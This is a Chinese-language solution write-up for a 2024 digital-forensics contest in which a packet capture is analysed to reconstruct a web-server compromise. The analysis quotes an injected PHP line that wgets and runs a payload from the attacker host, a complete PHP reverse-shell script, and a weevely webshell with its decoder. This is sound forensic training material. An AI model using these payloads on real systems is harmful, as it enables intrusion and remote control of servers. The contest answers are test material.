2024“数证杯”电子数据取证分析大赛-初赛-流量分析题解
题目
1分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10)
2分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?
3分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1)
4分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu)
5分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc)
6分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1)
7分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php)
8分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写)
9分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt)
10 分析网络流量包检材,攻击者利用服务器漏洞从攻击机,上下载的 payload 文件名是?
11 分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234)
12 *分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1)
13 分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp)
14 分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写
15 分析网络流量包检材,攻击者上传了个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306)
16 分析网络流量包检材,攻击者上传了个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写)
题解
1分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10)
2分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?
直接统计就行
花费秒数:3504
build版本:23F79
3分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1)
直接看也能看出来 受害者IP:192.168.75.131
4分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu)
操作系统:Ubuntu
5分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc)
这里就能看出端口扫描工具:nmap
6分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1)
Wfuzz是一个基于Python的Web爆破程序,版本号:3.1.0
7分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php)
登录点:/dbadmin/test_db.php
8分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写)
http contains "dbadmin/test_db.php" and http contains pass
密码:admin
9分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt)
这里导出后保存为html
文件:demo.php
10 分析网络流量包检材,攻击者利用服务器漏洞从攻击机,上下载的 payload 文件名是?
URL解码:
tablename=rev&rows=1&0_field=re&0_type=INTEGER&0_defaultvalue=<?php system("wget 192.168.75.132:2000/rev.txt -O /tmp/rev.php; php /tmp/rev.php"); ?>')
<?php system("wget 192.168.75.132:2000/rev.txt -O /tmp/rev.php; php /tmp/rev.php"); ?>')
文件名:rev.txt
11 分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234)
12 分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1)
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
得到:192.168.75.132:30127
版本号:3.11.8
13 分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp)
看反弹shell 框架:wordpress
14 分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写
密码:sWfCsfJSPV9H3AmQzw8
15 分析网络流量包检材,攻击者上传了个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306)
看tcp流看到交互 端口:2000
16 分析网络流量包检材,攻击者上传了个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写)
找到木马,这里用的其他佬的脚本
<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
?>
<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$msg = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($msg),$k)));
?>
结果:57638